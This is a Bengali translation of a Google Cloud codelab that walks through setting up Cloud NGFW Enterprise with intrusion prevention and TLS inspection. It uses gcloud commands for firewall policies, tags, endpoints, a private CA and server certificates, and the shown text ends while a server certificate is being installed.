ক্লাউড NGFW এন্টারপ্রাইজ কোডল্যাব [w/ TLS পরিদর্শন]

1. ভূমিকা

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল (NGFW)

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল হল একটি সম্পূর্ণরূপে বিতরণ করা ফায়ারওয়াল পরিষেবা যার উন্নত সুরক্ষা ক্ষমতা, মাইক্রো-সেগমেন্টেশন এবং বিস্তৃত কভারেজ রয়েছে যা আপনার গুগল ক্লাউড ওয়ার্কলোডকে অভ্যন্তরীণ এবং বহিরাগত আক্রমণ থেকে রক্ষা করে।

ক্লাউড NGFW এর নিম্নলিখিত সুবিধা রয়েছে:

  • বিতরণকৃত ফায়ারওয়াল পরিষেবা: ক্লাউড NGFW প্রতিটি কাজের চাপের উপর একটি স্টেটফুল, সম্পূর্ণরূপে বিতরণকৃত হোস্ট-ভিত্তিক এনফোর্সমেন্ট প্রদান করে যাতে জিরো-ট্রাস্ট সুরক্ষা আর্কিটেকচার সক্ষম করা যায়।
  • সরলীকৃত কনফিগারেশন এবং স্থাপনা: ক্লাউড NGFW নেটওয়ার্ক এবং শ্রেণিবদ্ধ ফায়ারওয়াল নীতিগুলি প্রয়োগ করে যা একটি রিসোর্স শ্রেণিবিন্যাস নোডের সাথে সংযুক্ত করা যেতে পারে। এই নীতিগুলি গুগল ক্লাউড রিসোর্স শ্রেণিবিন্যাস জুড়ে একটি সামঞ্জস্যপূর্ণ ফায়ারওয়াল অভিজ্ঞতা প্রদান করে।
  • গ্রানুলার কন্ট্রোল এবং মাইক্রো-সেগমেন্টেশন: ফায়ারওয়াল নীতি এবং আইডেন্টিটি অ্যান্ড অ্যাক্সেস ম্যানেজমেন্ট (IAM)-নিয়ন্ত্রিত ট্যাগের সমন্বয় ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্ক এবং সংস্থাগুলিতে উত্তর-দক্ষিণ এবং পূর্ব-পশ্চিম উভয় ট্র্যাফিকের জন্য, একটি একক VM পর্যন্ত, সূক্ষ্ম নিয়ন্ত্রণ প্রদান করে।

ক্লাউড এনজিএফডব্লিউ নিম্নলিখিত স্তরগুলিতে উপলব্ধ:

  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়ালের প্রয়োজনীয়তা
  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল স্ট্যান্ডার্ড
  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল এন্টারপ্রাইজ

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ বিতরণকৃত গুগল ক্লাউড ফায়ারওয়াল ফ্যাব্রিকে একটি লেয়ার ৭ ক্ষমতা, ইনট্রুশন প্রিভেনশন সার্ভিস (আইপিএস) যোগ করে। টিএলএস এনক্রিপ্টেড ট্র্যাফিকের জন্য পরিদর্শনের অনুমতি দেওয়ার জন্য টিএলএস পরিদর্শন সমর্থিত।

আপনার নেটওয়ার্ক আর্কিটেকচার বা রাউটিং কনফিগারেশনে কোনও পরিবর্তন না করেই আপনি এখন নির্ভরযোগ্য লেয়ার ৭ নেক্সট জেনারেশন ফায়ারওয়াল (NGFW) পরিদর্শনগুলি গ্রানুলার কন্ট্রোল সহ স্থাপন করতে পারেন।

IPS দিয়ে লেয়ার ৭ ফায়ারওয়াল নিয়ন্ত্রণ সক্রিয় এবং স্থাপন করতে, আপনাকে নিম্নলিখিত কাজগুলি সম্পাদন করতে হবে:

  • গুগল ক্লাউড পরিচালিত জোনাল ফায়ারওয়াল এন্ডপয়েন্টের একটি সেট তৈরি করুন।
  • ঐচ্ছিকভাবে একটি TLS পরিদর্শন নীতি তৈরি করুন।
  • ঐচ্ছিকভাবে একটি ট্রাস্ট কনফিগারেশন তৈরি করুন।
  • এই এন্ডপয়েন্টগুলিকে ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্কগুলির সাথে সংযুক্ত করুন যেখানে আপনার ক্লাউড NGFW এন্টারপ্রাইজ পরিষেবার প্রয়োজন।
  • বিভিন্ন ট্র্যাফিক পাথের জন্য হুমকি প্রতিরোধ প্রোফাইল নির্দিষ্ট করতে আপনার বিদ্যমান ফায়ারওয়াল নীতি এবং ফায়ারওয়াল নিয়মগুলিতে সহজ পরিবর্তন করুন।

নেটওয়ার্ক ফায়ারওয়াল নীতিমালা

নেটওয়ার্ক ফায়ারওয়াল নীতি ফায়ারওয়াল নিয়মের একটি ধারক হিসেবে কাজ করে। নেটওয়ার্ক ফায়ারওয়াল নীতিতে সংজ্ঞায়িত নিয়মগুলি কোথাও প্রয়োগ করা হয় না যতক্ষণ না নীতিটি একটি VPC নেটওয়ার্কের সাথে যুক্ত হয়। প্রতিটি VPC নেটওয়ার্কের সাথে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি যুক্ত থাকতে পারে। নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি ফায়ারওয়াল নিয়মগুলিতে IAM-নিয়ন্ত্রিত ট্যাগ (অথবা কেবল ট্যাগ) সমর্থন করে, যা বর্তমান নেটওয়ার্ক ট্যাগগুলিকে প্রতিস্থাপন করে এবং কাজের চাপকে পরিচয় প্রদান করতে ব্যবহার করা যেতে পারে।

নেটওয়ার্ক জুড়ে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি ভাগ করে নেওয়া এবং IAM-নিয়ন্ত্রিত ট্যাগগুলির সাথে একীকরণ ফায়ারওয়ালগুলির কনফিগারেশন এবং পরিচালনাকে ব্যাপকভাবে সহজ করে তোলে।

নেটওয়ার্ক ফায়ারওয়াল নীতি প্রবর্তনের সাথে সাথে, গুগল ক্লাউডের ফায়ারওয়াল নীতিগুলি এখন নিম্নলিখিত উপাদানগুলি নিয়ে গঠিত:

  1. হায়ারার্কিকাল ফায়ারওয়াল নীতি
  2. ভিপিসি ফায়ারওয়াল নিয়ম
  3. নেটওয়ার্ক ফায়ারওয়াল নীতি ( বৈশ্বিক এবং আঞ্চলিক )

হায়ারার্কিকাল ফায়ারওয়াল নীতিগুলি সংস্থান এবং রিসোর্স হায়ারার্কির মধ্যে ফোল্ডার নোডগুলিতে সমর্থিত, যেখানে VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি VPC স্তরে প্রয়োগ করা হয়। VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতিগুলির মধ্যে একটি বড় পার্থক্য হল যে VPC ফায়ারওয়াল নিয়মগুলি শুধুমাত্র একটি একক VPC নেটওয়ার্কে প্রয়োগ করা যেতে পারে, যেখানে নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি একটি একক VPC বা VPC গোষ্ঠীর সাথে সংযুক্ত করা যেতে পারে, ব্যাচ আপডেটের মতো অন্যান্য সুবিধাগুলির মধ্যে।

পরিশেষে, আমাদের কাছে প্রতিটি VPC নেটওয়ার্কের সাথে আসা অন্তর্নিহিত ফায়ারওয়াল নিয়মগুলিও রয়েছে:

  • একটি বহির্গমন নিয়ম যার ক্রিয়া অনুমোদিত, গন্তব্য হল 0.0.0.0/0
  • একটি প্রবেশ নিয়ম যার ক্রিয়া হল অস্বীকার, উৎস হল 0.0.0.0/0

ডিফল্টরূপে, প্রয়োগের ক্রম নিম্নলিখিত চিত্রে দেখানো হয়েছে:

21b3bcabc469ffe.png সম্পর্কে

অনুগ্রহ করে মনে রাখবেন যে VPC ফায়ারওয়াল নিয়ম এবং গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতির মধ্যে প্রয়োগের আদেশ অদলবদল করা যেতে পারে। গ্রাহকরা gcloud কমান্ডের মাধ্যমে যেকোনো সময় প্রয়োগের আদেশ নির্দিষ্ট করতে পারেন।

ট্যাগ

নেটওয়ার্ক ফায়ারওয়াল নীতি নিয়মে অন্তর্ভুক্ত নতুন ট্যাগগুলি হল গুগল ক্লাউড রিসোর্স হায়ারার্কির সংগঠন বা প্রকল্প-স্তরে সংজ্ঞায়িত কী-মান জোড়া রিসোর্স। এই ধরনের ট্যাগে IAM অ্যাক্সেস নিয়ন্ত্রণ থাকে যা ট্যাগে কে কী করতে পারে তা নির্দিষ্ট করে। উদাহরণস্বরূপ, পরিচয় এবং অ্যাক্সেস ম্যানেজমেন্ট (IAM) অনুমতিগুলি একজনকে নির্দিষ্ট করার অনুমতি দেয় যে কোন প্রিন্সিপালরা ট্যাগগুলিতে মান নির্ধারণ করতে পারে এবং কোন প্রিন্সিপালরা রিসোর্সে ট্যাগ সংযুক্ত করতে পারে। যদি কোনও নেটওয়ার্ক ফায়ারওয়াল নিয়ম কোনও ট্যাগকে উল্লেখ করে, তবে প্রয়োগের জন্য এটি অবশ্যই একটি রিসোর্সে প্রয়োগ করতে হবে।

ট্যাগগুলি গুগল ক্লাউডের উত্তরাধিকার রিসোর্স মডেল মেনে চলে, যার অর্থ ট্যাগ এবং তাদের মানগুলি তাদের পিতামাতার কাছ থেকে শ্রেণিবিন্যাস জুড়ে চলে আসে। ফলস্বরূপ, ট্যাগগুলি এক জায়গায় তৈরি করা যেতে পারে এবং তারপরে রিসোর্স শ্রেণিবিন্যাস জুড়ে অন্যান্য ফোল্ডার এবং প্রকল্পগুলি দ্বারা ব্যবহৃত হতে পারে। ট্যাগ এবং অ্যাক্সেস সীমাবদ্ধতা সম্পর্কে বিস্তারিত জানতে এই পৃষ্ঠাটি দেখুন।

ট্যাগগুলিকে নেটওয়ার্ক ট্যাগের সাথে গুলিয়ে ফেলা উচিত নয়। পরেরটি হল স্ট্রিং যা কম্পিউট ইঞ্জিন ইনস্ট্যান্সে যোগ করা যেতে পারে; এগুলি ইনস্ট্যান্সের সাথে যুক্ত থাকে এবং ইনস্ট্যান্সটি বন্ধ হয়ে গেলে অদৃশ্য হয়ে যায়। VPC ফায়ারওয়াল নিয়মগুলিতে নেটওয়ার্ক ট্যাগ অন্তর্ভুক্ত থাকতে পারে, কিন্তু যেহেতু এগুলিকে ক্লাউড রিসোর্স হিসাবে বিবেচনা করা হয় না, তাই এগুলি IAM অ্যাক্সেস নিয়ন্ত্রণের অধীন নয়।

মনে রাখবেন যে এই নথিতে ট্যাগ এবং IAM-শাসিত ট্যাগগুলি বিনিময়যোগ্যভাবে ব্যবহৃত হচ্ছে।

তুমি কী তৈরি করবে

এই কোডল্যাবের জন্য একটি একক প্রকল্প এবং একটি VPC নেটওয়ার্ক তৈরি করার পাশাপাশি বেশ কয়েকটি নেটওয়ার্ক এবং সুরক্ষা সংস্থান পরিচালনা করার ক্ষমতা প্রয়োজন। এটি প্রদর্শন করবে যে ক্লাউড NGFW এন্টারপ্রাইজ কীভাবে IPS কার্যকারিতা প্রদান করতে পারে:

  • TLS পরিদর্শনের মাধ্যমে উত্তরমুখী ইন্টারনেট প্রবাহ পরিদর্শন করা হচ্ছে
  • TLS পরিদর্শনের মাধ্যমে [পূর্ব-পশ্চিম] ভিপিসি প্রবাহের আন্তঃপরিচালনা পরিদর্শন

পরিদর্শন করা প্রবাহগুলি ক্লাউড ফায়ারওয়াল ম্যাচিং প্যারামিটার ব্যবহার করে নির্বাচন করা হবে যার মধ্যে রয়েছে 5-টিউপল (সোর্স আইপি, ডেস্টিনেশন আইপি, প্রোটোকল, সোর্স পোর্ট, ডেস্টিনেশন পোর্ট) এবং ট্যাগ।

3d0f288d3b92a295.png সম্পর্কে

নেটওয়ার্ক ফায়ারওয়াল নীতি রুলবেসের শেষ অবস্থা নীচের টেবিলের মতো হবে:

অগ্রাধিকার

দিকনির্দেশনা

লক্ষ্য

উৎস

গন্তব্য

অ্যাকশন

আদর্শ

১০০

প্রবেশ

সার্ভার_ট্যাগ

স্বাস্থ্য-পরীক্ষা

যেকোনো

অনুমতি দিন

অপরিহার্য জিনিসপত্র

২০০

প্রবেশ

ক্লায়েন্ট_ট্যাগ, সার্ভার_ট্যাগ

আইএপি

যেকোনো

অনুমতি দিন

অপরিহার্য জিনিসপত্র

৮০০

প্রবেশ

সার্ভার_ট্যাগ

১০.০.০.০/২৪

১০.০.০.০/২৪

L7 পরিদর্শন

এন্টারপ্রাইজ

৮৫০

বহির্গমন

ক্লায়েন্ট_ট্যাগ

যেকোনো

১০.০.০.০/২৪

অনুমতি দিন

অপরিহার্য জিনিসপত্র

৯০০

বহির্গমন

ক্লায়েন্ট_ট্যাগ

যেকোনো

যেকোনো

L7 পরিদর্শন

এন্টারপ্রাইজ

তুমি কি শিখবে

  • কিভাবে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি তৈরি করবেন।
  • নেটওয়ার্ক ফায়ারওয়াল নীতি ব্যবহার করে ট্যাগ কীভাবে তৈরি এবং ব্যবহার করবেন।
  • TLS পরিদর্শনের সাথে ক্লাউড NGFW এন্টারপ্রাইজ কীভাবে কনফিগার এবং ব্যবহার করবেন।

তোমার যা লাগবে

  • গুগল ক্লাউড প্রকল্প।
  • ইনস্ট্যান্স স্থাপন এবং নেটওয়ার্কিং উপাদান কনফিগার করার জ্ঞান।
  • ভিপিসি ফায়ারওয়াল কনফিগারেশন জ্ঞান।

2. শুরু করার আগে

ভেরিয়েবল তৈরি/আপডেট করুন

এই কোডল্যাবটি ক্লাউড শেলে gcloud কনফিগারেশন বাস্তবায়নে সহায়তা করার জন্য $variables ব্যবহার করে।

ক্লাউড শেলে, প্রয়োজন অনুযায়ী বন্ধনীর মধ্যে তথ্য প্রতিস্থাপন করে নিচের কমান্ডগুলি চালান:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

৩. API গুলি সক্ষম করুন

যদি আপনি API গুলি সক্রিয় না করে থাকেন:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

৪. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি

যেহেতু ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরিতে প্রায় ২০ মিনিট সময় লাগে, তাই এটি প্রথমে তৈরি করা হবে এবং এন্ডপয়েন্ট তৈরির সময় বেস সেটআপ সমান্তরালভাবে করা যেতে পারে।

নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

নিশ্চিত করুন যে সম্পদগুলি সফলভাবে তৈরি করা হয়েছে:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

প্রত্যাশিত আউটপুট (মনে রাখবেন যে আউটপুট ফর্ম্যাটটি ব্যবহৃত ক্লায়েন্ট অনুসারে পরিবর্তিত হতে পারে:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি করুন:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

এন্ডপয়েন্ট তৈরি হচ্ছে কিনা তা নিশ্চিত করতে নীচের কমান্ডটি চালান ( CREATING )।

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (মনে রাখবেন যে আউটপুট ফর্ম্যাটটি ব্যবহৃত ক্লায়েন্ট অনুসারে পরিবর্তিত হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

তৈরির প্রক্রিয়াটি প্রায় ২০ মিনিট সময় নেয়। সমান্তরালভাবে প্রয়োজনীয় সংস্থান তৈরি করতে বেস সেটআপ বিভাগে যান।

৫. বেস সেটআপ

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট

VPC নেটওয়ার্ক এবং সাবনেট তৈরি করুন:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

ক্লাউড NAT

ক্লাউড রাউটার এবং ক্লাউড NAT গেটওয়ে তৈরি করুন:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

উদাহরণ

ক্লায়েন্ট এবং ওয়েব-সার্ভারের উদাহরণ তৈরি করুন:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

প্রকল্প-স্তরের ট্যাগ

প্রয়োজনে ব্যবহারকারীকে ট্যাগঅ্যাডমিন অনুমতি দিন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

প্রজেক্ট-লেভেল ট্যাগ কী এবং মান তৈরি করুন:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

ট্যাগগুলিকে ইনস্ট্যান্সের সাথে সংযুক্ত করুন:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

বিশ্বব্যাপী নেটওয়ার্ক ফায়ারওয়াল নীতি

একটি বিশ্বব্যাপী নেটওয়ার্ক ফায়ারওয়াল নীতি তৈরি করুন:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

স্বাস্থ্য-পরীক্ষা এবং পরিচয়-সচেতন প্রক্সি রেঞ্জ থেকে ট্র্যাফিকের অনুমতি দেওয়ার জন্য প্রয়োজনীয় ক্লাউড ফায়ারওয়াল প্রয়োজনীয় নিয়ম তৈরি করুন:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

নির্দিষ্ট রেঞ্জ থেকে পূর্ব-পশ্চিম / ইন্ট্রা-সাবনেট ট্র্যাফিক প্রবেশের অনুমতি দেওয়ার জন্য প্রয়োজনীয় ক্লাউড ফায়ারওয়াল নিয়ম তৈরি করুন (এই নিয়মগুলি TLS পরিদর্শনের সাথে ক্লাউড NGFW এন্টারপ্রাইজ সক্ষম করার জন্য আপডেট করা হবে):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

ক্লাউড ফায়ারওয়াল নীতি VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

৬. ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশন

যদি আপনি এখনও এটি না করে থাকেন এবং/অথবা স্ক্রিপ্ট পদ্ধতি পছন্দ করেন, তাহলে পরিবেশের ভেরিয়েবলগুলি সংজ্ঞায়িত করুন।

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট তৈরি সফলভাবে সম্পন্ন হয়েছে কিনা তা নিশ্চিত করুন। অবস্থাটি ACTIVE হিসাবে দেখানো হলেই কেবল এগিয়ে যান (তৈরির সময় প্রত্যাশিত অবস্থাটি CREATING ):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (মনে রাখবেন যে আউটপুট ফর্ম্যাটটি ব্যবহৃত ক্লায়েন্ট অনুসারে পরিবর্তিত হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্টকে VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

অ্যাসোসিয়েশন প্রক্রিয়াটি প্রায় ১০ মিনিট সময় নেয়। অবস্থাটি ACTIVE হিসেবে দেখানো হলেই কেবল TLS বিভাগে যান (তৈরির সময় প্রত্যাশিত অবস্থাটি CREATING ):

gcloud network-security firewall-endpoint-associations list

সম্পূর্ণ হলে প্রত্যাশিত আউটপুট:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

৭. TLS রিসোর্স কনফিগার করুন

একটি CA পুল তৈরি করুন। এই রিসোর্সটি NGFW Enterprise-এর জন্য আমরা যে Root CA সার্টিফিকেট তৈরি করি তা রাখার জন্য ব্যবহার করা হবে।

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

রুট CA তৈরি করুন। এটি হল CA সার্টিফিকেট যা NGFW এন্টারপ্রাইজের মাধ্যমে অনুরোধের জন্য অতিরিক্ত সার্টিফিকেট স্বাক্ষর করার জন্য ব্যবহৃত হবে।

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

যদি আপনাকে নীচের বার্তাটি জিজ্ঞাসা করা হয়, তাহলে y এর উত্তর দিন:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

একটি পরিষেবা অ্যাকাউন্ট তৈরি করুন। এই পরিষেবা অ্যাকাউন্টটি NGFW এন্টারপ্রাইজের জন্য সার্টিফিকেট অনুরোধের জন্য ব্যবহার করা হবে:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

পরিষেবা অ্যাকাউন্টের জন্য IAM অনুমতি সেট করুন:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS Policy YAML ফাইল তৈরি করুন। এই ফাইলটিতে নির্দিষ্ট রিসোর্স সম্পর্কে তথ্য থাকবে:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS পরিদর্শন নীতি আমদানি করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS সক্ষম করতে এন্ডপয়েন্ট অ্যাসোসিয়েশন আপডেট করুন:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA সার্টিফিকেটটি পান এবং ক্লায়েন্টের CA স্টোরে এটি যোগ করুন:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

ক্লায়েন্টের কাছে CA সার্টিফিকেট স্থানান্তর করুন:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH কে VM-এ স্থানান্তর করুন, CA সার্টিফিকেটটি /usr/local/share/ca-certificates-এ স্থানান্তর করুন এবং CA স্টোর আপডেট করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

ক্লাউডশেলে ফিরে যান।

সার্ভার সার্টিফিকেট স্বাক্ষর প্রক্রিয়া:

ক্লাউডশেলে, pip কমান্ড ব্যবহার করে Pyca ক্রিপ্টোগ্রাফি লাইব্রেরি ইনস্টল করুন:

pip install --user "cryptography>=2.2.0"

Google Cloud SDK কে Pyca ক্রিপ্টোগ্রাফি লাইব্রেরি ব্যবহার করার অনুমতি দিতে, আপনাকে অবশ্যই সাইট প্যাকেজগুলি সক্ষম করতে হবে।

export CLOUDSDK_PYTHON_SITEPACKAGES=1

সার্ভার সার্টিফিকেট তৈরি করুন:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

এটি ক্লাউডশেলে একটি cert.pem এবং key.pem ফাইল তৈরি করবে। এরপর, সার্টিফিকেট এবং কী সার্ভারে স্থানান্তর করুন।

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

অ্যাপাচির জন্য সার্টিফিকেটের বিবরণ আপডেট করতে সার্ভারে SSH প্রবেশ করান:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

নির্দিষ্ট ফোল্ডারে সার্টিফিকেট এবং কী সরান:

sudo mv cert.pem /etc/ssl/certs/
